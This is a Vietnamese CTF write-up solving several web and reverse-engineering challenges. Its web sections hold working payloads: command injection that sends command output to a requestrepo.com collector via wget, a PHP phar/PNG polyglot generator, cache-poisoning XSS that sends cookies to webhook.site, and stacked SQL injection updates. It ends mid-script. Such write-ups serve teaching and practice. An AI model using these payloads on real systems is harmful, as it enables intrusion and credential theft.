Tham số -c khá quan trọng, giá trị này sẽ được check xem có phải là thư mục hay không, nếu có sẽ chèn thêm config.xml trước rồi return đệ quy để tiếp tục kiểm tra, tiếp đó kiểm tra xem file có tồn tại, và file đó thêm .xml có tồn tại hay không, nếu 1 trong 2 tồn tại thì return về giá trị đó.

function isConfig($probableConfig) {
    if (!$probableConfig) {
        return null;
    }
    if (is_dir($probableConfig)) {
        return isConfig($probableConfig.\DIRECTORY_SEPARATOR.'config.xml');
    }

    if (file_exists($probableConfig)) {
        return $probableConfig;
    }
    if (file_exists($probableConfig.'.xml')) {
        return $probableConfig.'.xml';
    }
    return null;
};

Sau khi đã xác định file config có tồn tại, file mới được đưa vào xử lý:

function getConfig($name) {
    $configFilename = isConfig(getCommandLineValue("--config", "-c"));
    if ($configFilename) {
        $dbConfig = new DOMDocument();
        $dbConfig->load($configFilename);
        $var = new DOMXPath($dbConfig);
        foreach ($var->query('/config/db[@name="'.$name.'"]') as $var) {
            return $var->getAttribute('value');
        }
        return null;
    }
    return null;
}
  • Sử dụng DOMDocument() để load file config, sau đó query lấy giá trị từ thẻ gốc <config> -> <db>, lấy attribute name lưu vào biến $vars và lấy attribute value của name tương ứng

  • Ta cũng có format của một file config sẽ như thế nào:

<config>
    <db name="username" value="root"/>
    <db name="password" value="root"/>
    <db name="database" value=""/>
</config>

Hàm generateFilename dùng để tạo ra tên file ngẫu nhiên khi sử dụng method backup:

function generateFilename() {
    $timestamp = date("Ymd_His");
    $random = bin2hex(random_bytes(4));
    $filename = "backup_$timestamp" . "_$random.sql";
    return $filename;
}

\=> Kết quả cho ra file sql backup với filename sử dụng kết hợp ngày tháng và 8 ký tự random

  1. Method backup
function backup($filename, $username, $password, $database) {
    $backupdir = "/tmp/backup/";
    passthruOrFail("mysqldump -u$username -p$password $database > $backupdir$filename");
}

Tại method này, server thực thi câu lệnh dump toàn bộ database vào file được quy định trước, với tên filename gen random; 3 giá trị username, password và database được lấy từ file config

  1. Method import
function import($filename, $username, $password, $database) {
    passthruOrFail("mysql -u$username -p$password $database < $filename");
}

Tiếp tục sử dụng câu lệnh hệ thống đưa dữ liệu của filename được chỉ định vào database

  1. Method healthcheck
function healthCheck() {
    $url = 'http://localhost:80/info';

    $headers = get_headers($url);

    $responseCode = intval(substr($headers[0], 9, 3));

    if ($responseCode === 200) {
        echo "[+] Daijobu\n";
    } else {
        echo "[-] Not Daijobu :(\n";
    }
}

Hàm truy cập đến path info dùng để hiển thị phpinfo() và lấy status code trả về thông qua header. Nếu 200 thì coi là ổn, khác thì bị coi là không ổn

\=> Method backup và import có khả năng command injection nếu như control được giá trị trong file config. Còn với option -f thì không chắc vì nó cũng bị kiểm tra bằng file_exists nên không thể command injection sau filename được.

Khai thác

Command Injection in cli.php

Mình mất một lúc để nhận ra có thể truy cập đến cli.php thông qua website /cli/cli.php. Nên mình đang nghĩ đến command injection vào các method, nhưng làm thế nào để bypass sử dụng trên command line?

Đang tìm cách thì teammates của mình phát hiện ra tại php.ini giá trị register_argc_argv đã bị comment: Giá trị này được mặc định là off, nếu như config này được kích hoạt thì mình hoàn toàn có thể truyền vào giá trị của 2 biến này thông qua dấu + thay vì dùng dấu & để ngăn cách.

image

image

Vậy thì mình có thể lợi dụng việc này để truyền giá trị vào các tham số -m-c, thực thi file cli.php như đang ở command line, mình truy cập thử đến mode healthcheck thì thấy file hoàn toàn có thể thực thi được:

image

Mình quyết định sẽ lấy mode backup làm sink để RCE, với việc sử dụng DOMXPath query lấy dự liệu từ file xml, mình tạm thời bỏ qua việc upload file lên như nào mà craft một file xml để command injection vào username:

<config>
    <db name="username" value='|| wget --post-data "$(id)" -O- ut8mgeo8.requestrepo.com ||'/>
    <db name="password" value="root"/>
    <db name="database" value=""/>
</config>

Để tránh câu lệnh bị thực thi khi echo vào thì mình base64 trước rồi truyền vào a.xml

image

Thử truyền vào method backup và tên file config là: /tmp/a.xml

image

Và mình thấy kết quả trả về requestrepo, đây là sink đúng để có thể RCE:

image

Oke vậy là đã có chỗ để RCE, vấn đề còn lại là upload file xml này lên như nào với cái rule

Race Condition??

Như mình đã nói ở trên, có 2 thứ mà mình thấy mình chưa sử dụng được trong challenge này, thứ nhất là trang phpinfo, và thứ 2 là cái print_r hiện thông tin của file. Khi PHP script nhận được một file request, file đó sẽ được lưu tạm thời trong thư mục /tmp và có thể tùy chỉnh trong php.ini. Trong trường hợp này sẽ là /tmp/php+6 ký tự [a-zA-Z0-9]. File trong thư mục tmp sẽ biến mất sau khi có sự xuất hiện của hàm move_uploaded_file hoặc khi PHP script đó kết thúc. Nghe ná ná giống với case LFI2RCE với phpinfo nên mình và teammate triển luôn theo hướng này. Bọn mình dự định sẽ upload file sau đó vào phpinfo để xem đường dẫn file tmp, rồi sử dụng mode backup để command injection. Nhưng sau khi thử rất nhiều lần không được, mình đã đi tìm hiểu kĩ hơn và nhận ra mình đã sai và chưa hiểu bản chất: Lỗi LFI2RCE với phpinfo xảy ra khi mình có thể upload file tại trang phpinfo luôn, tức là có thể sử dụng POST request. PHP sẽ lưu các file được upload lên thư mục temp đối với cả các PHP script không hề hỗ trợ xử lý file trong nó, còn ở đây mình chỉ có thể GET /info, nên cách này coi như tiêu tùng. Ref: http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/ Không từ bỏ việc race, mình quyết định đánh vào khả năng print_r mảng về thông tin file khi upload file tại /addProduct, nhưng việc này cũng bất khả thi vì file đã được xử xong xuôi hết r mới có response trả về cho mình, mình đã tốn 2 ngày để thử theo phương pháp này và không thu được kết quả gì, vậy là challenge đã không thể solve kịp trước khi cuộc thi kết thúc :((

The right path: Phar Deserialization

Mình cứ mải đi race mà không nghĩ ra DOMDocument hỗ trợ cả file phar, tương tự như trong case XXE to Phar Deserialize khi DOMDocument->loadXML có thể truyền vào phar protocol thì ở đây, DOMDocument->load cũng có thể truyền vào phar protocol -> +1 kiến thức.

Thiên thời địa lợi nhân hòa, config phar.readonly cũng được tắt => có thể deser file phar:

image

Nếu như đã hỗ trợ deser phar file, thì mình chỉ cần để file xml của mình vào file phar và nhét vào 1 file ảnh valid là được. Về cách gen file phar như nào thì mình sẽ làm tương tự như chall upload phar file trong root me. Ref: https://thanhlocpanda.wordpress.com/2023/08/07/php-phar-jpeg-polyglot-javascript-jpeg-polyglot-root-me-part-ii/ (pass: thanhlocpanda)

Đường đi nước bước đã đủ, mình tổng hợp lại attack chain như sau:

  • Gen file ảnh càng ngắn càng tốt

  • Lấy hex của file đó, đắp vào file phar, chèn xml vào file phar và đổi extension về ảnh

  • Upload file ảnh, lấy đường dẫn ảnh

  • Gọi đến cli.php, sử dụng phar:// protocol gọi đến file xml nằm trong file phar => RCE

Final Exploit

Mình gen ảnh 1 pixel cho nó bé bằng đoạn code:

from PIL import Image

img = Image.new("RGB", (1,1), (255,255,255))
img.save("gen.png")

Mình lấy hex bằng cyberchef và được chuỗi:

\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\x00\x00\x01\x00\x00\x00\x01\x08\x02\x00\x00\x00\x90\x77\x53\xde\x00\x00\x00\x0c\x49\x44\x41\x54\x78\x9c\x63\xf8\xff\xff\x3f\x00\x05\xfe\x02\xfe\x0d\xef\x46\xb8\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82

Đưa chuỗi vào scrip gen file phar, mình nhét file a.xml với payload đọc flag bằng /readflag vào trong file phar, rồi đổi tên file thành phar.png:

<?php
    $png = "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\x00\x00\x01\x00\x00\x00\x01\x08\x02\x00\x00\x00\x90\x77\x53\xde\x00\x00\x00\x0c\x49\x44\x41\x54\x78\x9c\x63\xf8\xff\xff\x3f\x00\x05\xfe\x02\xfe\x0d\xef\x46\xb8\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82";
    $xml_data = "<config><db name=\"username\" value='|| wget --post-data \"$(/readflag)\" -O- ut8mgeo8.requestrepo.com ||'/><db name=\"password\" value=\"root\"/><db name=\"database\" value=\"\"/></config>";
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->addFromString("a.xml", $xml_data);
    $phar->setStub($png."__HALT_COMPILER(); ?>");
    $phar->stopBuffering();

    rename('phar.phar', 'phar.png');
?>

Upload file phar lên server thành công:

image

Vào list product để lấy tên ảnh, của mình là /uploads/3e10700de9433bdb.png

Request đến cli.php để lụm flag thôi:

GET /cli/cli.php?-m+backup+-c+phar:///www/uploads/3e10700de9433bdb.png/a.xml

image

image

SOS or SSO?

credit: Quyền

Bài này đội mình không solve được nên mình write up lại theo htb

Tổng quan

Trang web có backend golang với 2 tính năng chính:

  • Tạo note

  • Login

  • Flag được đặt ở note “My Secret” cần truy cập với adminId

Lỗ hổng

  • XSS via VueJS dynamic components

    Trong frontend/src/views/EditorView.vue chứa code rendering rich-text

        <div class="editor" v-if="note">
          <h1>{{ note.title }}</h1>
          <div class="editor-text">
            <div>
              <component
                :is="item.type"
                v-bind="item.attr"
                v-for="(item, i) in noteContent"
                contenteditable="true"
                :ref="`item-${i}`"
                @focus="focused = i"
                @input="handleInput($event, i)"
                class="editor-element"
                >{{ noteContent[i].content }}</component
              >
            </div>
          </div>
    

    noteContent array được duyệt dựa trên type key của mỗi object. V-bind được sử dụng để cung cấp các thuộc tính cho phần tử

    → Có thể khai thác lỗ hổng DOM XSS với item được lưu như sau:

      {"type": "img", "attr": {"src": "x", "onerror": "alert(quyendeptrai)"}}
    

    Thay đổi base64 được gửi khi lưu note và chèn payload để kích hoạt được XSS

  • XSS to IdP config submission

    XSS có thể được sử dụng để gửi cấu hình IdP do mình kiểm soát → Kiểm soát được luồng SSO khai thác SQLi để set role note vì flag được đặt trong secret note

      fetch(
          '/api/support/faction/1/config',
          {
              method: 'POST',
              headers: {
                  'X-NOTES-CSRF-PROTECTION': '1'
              },
              body: JSON.stringify({clientId:'%s',clientSecret:'%s',endpoint:'%s'})
          }
      )
    

    Và code xử lý trong backend/edpoints/support.go!CreateOIDCConfig()

  • The SQLi

    Trong backend/auth/sso.go có đoạn code xử lý như sau

    Đoạn code xử lý yêu cầu thông tin người dùng từ IdP và sử dụng email được trả về để kiểm tra xem người dùng có bị cấm hay không, nếu không thì người dùng đã đăng ký hoặc đăng nhập

    Lỗ hổng xuất phát từ hàm GetBan trong backenddatabase/queries.go

    Ta có thể inject để set role cho tất cả note thành null như sau:

      'tom@ca.htb'; UPDATE `notes` SET author_id=NULL,private=0 -- -
    

Khai thác

Với các lỗ hổng trên mình phải tạo IdP của riêng mình để payload SQLi khi email được trả về từ user-info endpoint

IdP cần tạo

    r.GET("/oidc/userinfo", func(c *gin.Context) {
        c.JSON(200, gin.H{
            "email": "'tom@ca.htb'; UPDATE `notes` SET author_id=NULL,private=0 -- -",
        })
    })

Sau khi inject SSO sẽ tìm và load payload SQLi trong tham số email, công khai tất cả các note

OmniWatch

credit: Chương

Phân tích

Web app

Được viết bằng Flask

  • Routes (/challenge/controller/application/blueprints/routes.py)

    • /home: hiện thị ra các devices trong db

        @web.route("/home", methods=["GET"])
        @moderator_middleware
        def home():
            mysql_interface = MysqlInterface(current_app.config)
            devices = mysql_interface.fetch_all_devices()
            return render_template("home.html", user_data=request.user_data, nav_enabled=True, title="OmniWatch - Home", devices=devices)
      
    • /device/<id>:

        @web.route("/device/<id>", methods=["GET"])
        @moderator_middleware
        def device(id):
            mysql_interface = MysqlInterface(current_app.config)
            device = mysql_interface.fetch_device(id)
      
            if not device:
                return redirect("/controller/home")
      
            return render_template("device.html", user_data=request.user_data, nav_enabled=True, title=f"OmniWatch - Device {device['device_id']}", device=device)
      

      Lấy ra device theo id truyền vào, middleware moderator_middleware Tuy nhiên, tại đây xuất hiện lỗ hổng SQL Injection, theo file challenge/controller/application/util/database.py:

        def fetch_device(self, device_id):
            query = f"SELECT * FROM devices WHERE device_id = '{device_id}'"
            device = self.query(query, multi=True)[0][0]
            return device
      

      device_id được truyền vào trực tiếp, có option là multi=True cho phép thực hiện nhiều câu truy vấn => Stack queries

    • /firmware:

        @web.route("/firmware", methods=["GET", "POST"])
        @moderator_middleware
        def firmware():
            if request.method == "GET":
                patches_avaliable = ["CyberSpecter_v1.5_config.json", "StealthPatch_v2.0_config.json"]
                return render_template("firmware.html", user_data=request.user_data, nav_enabled=True, title="OmniWatch - Firmware", patches=patches_avaliable)
      
            if request.method == "POST":
                patch = request.form.get("patch")
      
                if not patch:
                    return response("Missing parameters"), 400
      
                file_data = open(os.path.join(os.getcwd(), "application", "firmware", patch)).read()
                return file_data, 200
      

      route này nhận param patch, thực hiện đọc file với: os.path.join(os.getcwd(), "application", "firmware", patch), khi truyền vào là path tuyệt đối thì các thành phần như application hay firmware bị loại bỏ => lỗ hổng Arbitrary File Read

    • /admin: chứa flag => mục tiêu

        @web.route("/admin", methods=["GET"])
        @administrator_middleware
        def admin():
            flag = os.popen("/readflag").read()
            return render_template("admin.html", user_data=request.user_data, nav_enabled=True, title="OmniWatch - Admin", flag=flag)
      
    • /bot_running: check trạng thái bot đang chạy hay không.

      Trong file challenge/controller/run.py dùng để chạy Flask app, có lên chức năng lên lịch để chạy con bot với 0,5 phút 1 lần:

        schedule.every(0.5).minutes.do(run_scheduled_bot, app.config)
      

      Đi vào file: challenge/controller/application/util/bot.py:

      ```python ...

      def run_scheduled_bot(config): try: bot_runner(config) except Exception: mysql_interface = MysqlInterface(config) mysql_interface.update_bot_status("not_running")

def bot_runner(config): mysql_interface = MysqlInterface(config) mysql_interface.update_bot_status("running")

chrome_options = Options()

...

client = webdriver.Chrome(options=chrome_options)

client.get("127.0.0.1:1337/controller/login")

time.sleep(3) client.find_element(By.ID, "username").send_keys(config["MODERATOR_USER"]) client.find_element(By.ID, "password").send_keys(config["MODERATOR_PASSWORD"]) client.execute_script("document.getElementById('login-btn').click()") time.sleep(3)

client.get(f"127.0.0.1:1337/oracle/json{str(random.randint(1, 15))}")

time.sleep(10)

mysql_interface.update_bot_status("not_running") client.quit()


        Như vậy con bot sẽ truy cập `/controller/login` rồi sleep 3s, tiếp tục login bằng `username``password` và tiếp tục sleep 3s, cuối cùng là truy cập vào `/oracle/json/{str(random.randint(1, 15))}` và sleep 10s

    * `/login`: dùng để login.

* Các middleware:

    * `moderator_middleware`: kiểm tra moderator

    * `administrator_middleware`: kiểm tra admin


Cả 2 đều sử dụng JWT để authen, JWT được verify bởi `secret` key lấy từ `JWT_KEY = open("/app/jwt_secret.txt", "r").read()`:

```python
def verify_jwt(token, secret):
    try:
        payload = jwt.decode(token, secret, algorithms=["HS256"])
        return payload
    except Exception:
        return False

Sau đó tiếp tục check bằng signature có trong db:

signature = jwt_cookie.split(".")[-1] saved_signature = mysql_interface.fetch_signature(user_id)

Query tới db:

def fetch_signature(self, user_id):
    signature = self.query("SELECT signature FROM signatures WHERE user_id = %s", (user_id,), one=True)
    return signature["signature"] if signature else False

Như vậy ta có thể hình dung chain các bugs: XSS lấy JWT có quyền moderator từ bot => Lỗ hổng đọc file để lấy secret key để sign JWT lên administrator => SQLi Stack queries để update signature của JWT => Lấy flag.

Zig

Zig tạo service sử dụng port 4000, cung cấp route /oracle/:mode/:deviceId, theo file challenge/oracle/src/main.zig:

...

fn oracle(req: *httpz.Request, res: *httpz.Response) !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    const allocator = gpa.allocator();

    const deviceId = req.param("deviceId").?;
    const mode = req.param("mode").?;
    const decodedDeviceId = try std.Uri.unescapeString(allocator, deviceId);
    const decodedMode = try std.Uri.unescapeString(allocator, mode);

    const latitude = try randomCoordinates();
    const longtitude = try randomCoordinates();

    res.header("X-Content-Type-Options", "nosniff");
    res.header("X-XSS-Protection", "1; mode=block");
    res.header("DeviceId", decodedDeviceId);

    if (std.mem.eql(u8, decodedMode, "json")) {
        try res.json(.{ .lat = latitude, .lon = longtitude }, .{});
    } else {
        const htmlTemplate =
            \\<!DOCTYPE html>
            \\<html>
            \\    <head>
            \\        <title>Device Oracle API v2.6</title>
            \\    </head>
            \\<body>
            \\    <p>Mode: {s}</p><p>Lat: {s}</p><p>Lon: {s}</p>
            \\</body>
            \\</html>
        ;

        res.body = try std.fmt.allocPrint(res.arena, htmlTemplate, .{ decodedMode, latitude, longtitude });
    }
}

Ở đây mode là json thì response trả về là JSON, còn không thì là htmlTemplate. deviceId được reflect lại tại header DeviceId trong response. Cũng chính vì vậy nên có lỗ hổng ở đây theo như https://github.com/karlseguin/http.zig/issues/25

image

POC:

CRLF vào deviceId rồi chèn thêm header Content-Type: text/html để render HTML

Payload: /oracle/%3Cscript%3Ealert(0)%3C%2Fscript%3E/1%0D%0AContent-Type%3A%20text%2Fhtml

image

Varnish Cache

/config/cache.vcl:

  • Có 2 config cho port 3000 là của flask app và 4000 là của zig oracle:
backend default1 {
    .host = "127.0.0.1";
    .port = "3000";
}

backend default2 {
    .host = "127.0.0.1";
    .port = "4000";
}

Được sử dụng dựa theo path:

sub vcl_recv {
    if (req.url ~ "^/controller/home"){
        set req.backend_hint = default1;
        if (req.http.Cookie) {
            return (hash);
        }
    } else if (req.url ~ "^/controller") {
        set req.backend_hint = default1;        
    } else if (req.url ~ "^/oracle") {
        set req.backend_hint = default2;
    } else {
        set req.http.Location = "/controller";
        return (synth(301, "Moved"));
    }
}
  • vcl_backend_response dùng để đưa response đến client, với header CacheKey được sử dụng có giá trị là enable thì response sẽ được lưu vào cache trong 10s:
sub vcl_backend_response {
    if (beresp.http.CacheKey == "enable") {
        set beresp.ttl = 10s;
        set beresp.http.Cache-Control = "public, max-age=10";
    } else {
        set beresp.ttl = 0s;
        set beresp.http.Cache-Control = "public, max-age=0";
    }
}
  • vcl_hash sử dụng header CacheKey để tạo ra hash => xác định request cần lấy ra trong cache:

      sub vcl_hash {
          hash_data(req.http.CacheKey);
          return (lookup);
      }
    

Vì vậy, như đã đề cập CRLF ở trên ta có thể inject thêm header CacheKey để thực hiện poisoning tấn công XSS.

Request poisoning với payload: %3Cscript%3Ealert(1)%3C%2Fscript%3E/1%0D%0ACacheKey%3A%20enable%0D%0AContent-Type%3A%20text%2Fhtml

image

Header X-Cache có giá trị là MISS tức là response đã được ghi vào cache.

Kết quả khi truy cập đến path mà bot sẽ đến:

image

Khi xem request đó:

image

Giá trị header X-Cache trong reponse là HIT nghĩa là response này được lấy từ cache

Khai thác

Quay trở lại bài toán, con bot sleep khoảng 3s sau đó login, 3 giây tiếp theo nó sẽ truy cập vào oracle/json/id, vì vậy ta cần thực hiện request poisoning trong khoảng 3s đó.

Ta dùng đoạn script sau:

import requests, urllib, time
URL = "http://localhost:1337"

def poisoning():
    xss_payload = urllib.parse.quote("<script>fetch('https://webhook.site/4407ecdf-4b85-4fc1-8a7f-a506a424769d?c='+document.cookie)</script>", safe="")
    crlf_payload = urllib.parse.quote("1\r\nCacheKey: enable\r\nContent-Type: text/html", safe="")
    requests.get(url=URL+"/oracle/" + xss_payload + "/" +crlf_payload)

while True:
    res = requests.get(url=URL + "/controller/bot_running")
    if res.text == "running":
        print("bot running")
        time.sleep(3)
        poisoning()

Chờ đến khi có JWT gửi về :)

image

Sau đó dùng jwt để thực hiện đọc /app/jwt_secret.txt để lấy key:

image

Dùng key để lên administrator (jwt.io):

image

Update signature ppcH8QpznorE7a9QfQxppPKXsEZ9auNrqPttEmVI-pc mới thông qua lỗ hổng SQL Injection tại /controller/device/id.

Encode sang hex để tránh gặp lỗi, payload: 1';UPDATE signatures SET signature = 0x707063483851707a6e6f7245376139516651787070504b5873455a3961754e7271507474456d56492d7063 WHERE user_id = 1--

image

Truy cập vào /controller/admin để lấy flag:

image


Reverse Engineering

Flag Casino

credit: 13r_ə_Rɪst

  • Lại là random@@. Chương trình thực hiện nhận input từng kí tự một và dùng nó làm seed rồi thực hiện so sánh rand() với check[] là mảng có sẵn.

    alt text

  • Ý tưởng để xử lý bài này là vét cạn các giá trị input bởi đầu vào nhận kiểu dữ liệu byte nên việc vét trong khoảng 0-0xff hoàn toàn không khó khăn gì.

  • Nếu có gì cần phải lưu ý thì, chall này là một file ELF, nên ta sẽ phải chạy script trong linux để output của rand() tương đồng với chương trình.

    alt text

  • Dưới đây là script vét input.

#include <stdio.h>
#include <stdlib.h>
// using ll = long long;
// using namespace std;
long long check[] = {0x244B28BE, 0x0AF77805, 0x110DFC17, 0x7AFC3A1, 0x6AFEC533, 0x4ED659A2, 0x33C5D4B0,
                   0x286582B8, 0x43383720, 0x55A14FC, 0x19195F9F, 0x43383720, 0x63149380, 0x615AB299,
                   0x6AFEC533, 0x6C6FCFB8, 0x43383720, 0x0F3DA237, 0x6AFEC533, 0x615AB299, 0x286582B8,
                   0x55A14FC, 0x3AE44994, 0x6D7DFE9, 0x4ED659A2, 0x0CCD4ACD, 0x57D8ED64, 0x615AB299, 0x22E9BC2A};

int main()
{
    for (int j = 0; j <= 28; ++j)
        for (int i = 0; i < 0xff; ++i)
        {
            srand(i);
            if (rand() == check[j])
            {
                printf("%c", i);
                break;
            }
        }
}

alt text

flag: HTB{r4nd_1s_v3ry_pr3d1ct4bl3}

Don't Panic

credit: 13r_ə_Rɪst

  • Chall: casino.

  • Một chall rust tag easy, không có gì khó khăn bởi thậm chí hàm checkflag còn được chỉ ra khá rõ ràng.

    alt text

  • Thực hiện debug động và nhặt ra từng phần tử của flag một sau các hàm gen.

    alt text

flag: HTB{d0nt_p4n1c_c4tch_the_3rror}

Snaped Shut

credit: 13r_ə_Rɪst

  • Chall: index.js, package.json, snapshot.blob.

  • Chall này hơi khó hiểu. 2 file jsjson tưởng rằng là thứ cần xem xét kĩ hơn thì lại không có thông tin gì. Flag lại nằm trong file còn lại, thậm chí đọc strings để lấy flag.

    alt text

ans = [72, 84, 66, 123, 98, 52, 99, 107, 100, 48, 48, 114, 95, 49, 110, 95,
       121, 48, 117, 114, 95, 115, 110, 52, 112, 115, 104, 48, 55, 33, 33, 125]
for i in ans:
    print(chr(i), end="")
flag: HTB{b4ckd00r_1n_y0ur_sn4psh07!!}

Tunnel Madness

credit: 13r_ə_Rɪst

  • Chall: tunnel

  • Lần thứ 2 mình gặp dạng bài tìm đường đi trong ma trận sau bài maize của giải wolvctf. Tuy nhiên bài này dễ hơn nhiều khi map là ma trận 3 chiều được biểu thị khá rõ ràng.

  • Sơ bộ về chương trình, ta cần nhập các truy vấn tương ứng với các hướng di chuyển là L/R/F/B/U/D/Q. Chương trình thực hiện tính toán và di chuyển trên map và check vị trí cần đến, nếu đúng thì trả ra flag. Chall này cần connect sever và nhập truy vấn nhằm lấy flag, nên không có gì để xem xét trong hàm get_flag().

alt text

  • Đi vào phân tích hàm move(). Từ những kí tự viết tắt, ta dễ dàng suy luận được ra đây là một map 3 chiều khi có thêm các hướng đi trong không gian(Front/Back).

  • Dưới đây là toàn bộ hàm move().

int __fastcall move(_DWORD *Curr_pos)
{
  int result; // eax
  int y; // eax
  int y_; // eax
  int v4; // eax
  int v5; // eax
  __int64 x; // [rsp+0h] [rbp-18h] BYREF
  int z; // [rsp+8h] [rbp-10h]
  char v8[9]; // [rsp+Fh] [rbp-9h] BYREF

  printf("Direction (L/R/F/B/U/D/Q)? ");
  if ( (unsigned int)__isoc99_scanf(" %c", v8) != 1 )
    exit(-1);
  v8[0] = (*__ctype_toupper_loc())[v8[0]];
  x = *(_QWORD *)Curr_pos;
  z = Curr_pos[2];
  result = (unsigned __int8)(v8[0] - 66);
  switch ( v8[0] )
  {
    case 'B':
      y = Curr_pos[1];
      if ( !y )
        goto LABEL_32;
      HIDWORD(x) = y - 1;
      if ( *((_DWORD *)checkPos((unsigned int *)&x) + 3) == 2 )
        goto LABEL_33;
      *(_QWORD *)Curr_pos = x;
      result = z;
      Curr_pos[2] = z;
      break;
    case 'D':
      v4 = Curr_pos[2];
      if ( !v4 )
        goto LABEL_32;
      z = v4 - 1;
      if ( *((_DWORD *)checkPos((unsigned int *)&x) + 3) == 2 )
        goto LABEL_33;
      *(_QWORD *)Curr_pos = x;
      result = z;
      Curr_pos[2] = z;
      break;
    case 'F':
      y_ = Curr_pos[1];
      if ( y_ == 19 )
        goto LABEL_32;
      HIDWORD(x) = y_ + 1;
      if ( *((_DWORD *)checkPos((unsigned int *)&x) + 3) == 2 )
        goto LABEL_33;
      *(_QWORD *)Curr_pos = x;
      result = z;
      Curr_pos[2] = z;
      break;
    case 'L':
      if ( !*Curr_pos )
        goto LABEL_32;
      LODWORD(x) = *Curr_pos - 1;
      if ( *((_DWORD *)checkPos((unsigned int *)&x) + 3) == 2 )
        goto LABEL_33;
      *(_QWORD *)Curr_pos = x;
      result = z;
      Curr_pos[2] = z;
      break;
    case 'Q':
      puts("Goodbye!");
      exit(-2);
    case 'R':
      if ( *Curr_pos == 19 )
        goto LABEL_32;
      LODWORD(x) = *Curr_pos + 1;
      if ( *((_DWORD *)checkPos((unsigned int *)&x) + 3) == 2 )
        goto LABEL_33;
      *(_QWORD *)Curr_pos = x;
      result = z;
      Curr_pos[2] = z;
      break;
    case 'U':
      v5 = Curr_pos[2];
      if ( v5 == 19 )
      {
LABEL_32:
        result = puts("Cannot move that way");
      }
      else
      {
        z = v5 + 1;
        if ( *((_DWORD *)checkPos((unsigned int *)&x) + 3) == 2 )
        {
LABEL_33:
          result = puts("Cannot move that way");
        }
        else
        {
          *(_QWORD *)Curr_pos = x;
          result = z;
          Curr_pos[2] = z;
        }
      }
      break;
    default:
      return result;
  }
  return result;
}
  • Xem xét một chút, ta có thể thấy giá trị trong map tương ứng với tường/chướngngạivật2 khi giá trị tại vị trí di chuyển tới tương đương thì sẽ phải nhảy tới thông báo "Cannot move that way". Điều tương tự với số 19.

alt text

  • Quay ra xem hàm checkPos(). Hàm này thực hiện tính vị trí hiện tại với tọa độ hiện tại pos[3] ~ (x,y,z)

    alt text

  • Tiếp tới map, ta thấy được rằng vị trí cần đến có giá trị là 3. Tuy nhiên, khi đọc sơ qua giá trị của maze, ta lại thấy có khá nhiều tọa độ có giá trị 3.

    alt text

  • Nhưng khi duyệt cả mảng maze để lọc ra vị trí được tính theo công thức + 12 == 3 thì chỉ có 1. Là vị trí cuối cùng trong ma trận này, cũng được tính với công thức maze[6400*19 + 320*19 + 16*19 + 12 = 127996].

    alt text

  • script python ida để đọc maze từ ida.

# print(e-s)

import idaapi
import idc
import ida_bytes

def read_memory(address, length):
    data = ida_bytes.get_bytes(address, length)
    if data is None:
        print(f"Failed to read data from address 0x{address:08X}")
    return data

s = 0x00000000000020E0
e = 0x00000000000214DF

print(read_memory(s, e-s+1))
  • Tới đây mình đi tìm hiểu hàm trong chương trình 1 lúc để quan sát giá trị được tăng thêm khi di chuyển và có kết luận tương ứng rằng:
pos[0] = 'R','L' = +6400,-6400
pos[1] = 'F','B' = +320,-320
pos[2] = 'U','D' = +16,-16
  • Vị trí được tính theo tổng các bộ giá trị {6400, 320, 16} nhân với tọa độ tương ứng. Vậy mỗi khi di chuyển ta có thể tính ra vị trí của chúng bằng cách cộng thêm giá trị tương ứng với truy vấn đã nhập vào tổng giá trị cho đến khi bằng 127996-12.

  • Tóm lại, chương trình thực hiện di chuyển từ vị trí maze[0] đến maze[127996-12] với chướng ngại có giá trị là 219. Các cách di chuyển là [Right,Left,Front,Back,Up,Down] tương ứng với các giá trị [6400,320,16,-6400,-320,-16].

  • Thực hiện duyệt và lưu lại đường đi chuẩn bằng dfs như dưới đây.

maze=[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 10, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0...]
_Fail=['>>>>????']

_move = [6400,320,16,-6400,-320,-16]

def dfs(_start,_end,_path=[]):
    if _start + 12 == _end:
        print("good")
        return _path

    for i in _move:
        if maze[_start+i+12] != 2 and maze[_start+i+12]!=19:
            if _path[len(_path)-1] + i != 0:
                _path = _path + [i]
                _new = dfs(_start+i,_end,_path)
                if _new:
                    return _new

    return _Fail

_path=[16] # push trước vào mảng trace đường đi kí tự đầu cho đỡ phải viết thêm :v

print(dfs(16,127996, _path))
  • Viết thêm chương trình convert output script trên rồi quăng vào sever thôi^^.
ans = [16, 16, 16, 6400, 320, 16, 6400, 16, 6400, 6400, 320, 6400, 6400, 320, 320, 16, 16, 320, 16, 6400, 6400, 16, 320, 16, 320, 320, 6400, 320, 16,
       320, 16, 16, 16, 16, 320, 320, 6400, 6400, 16, 16, 16, 320, 16, 6400, 320, -16, 320, 320, 16, 320, 320, 6400, 6400, 6400, 6400, 6400, 320, 6400, 6400]

num = [6400, 320, 16, -6400, -320, -16]
move = ['R', 'F', 'U', 'L', 'B', 'D']
for i in ans:
    for j in range(len(num)):
        if i == num[j]:
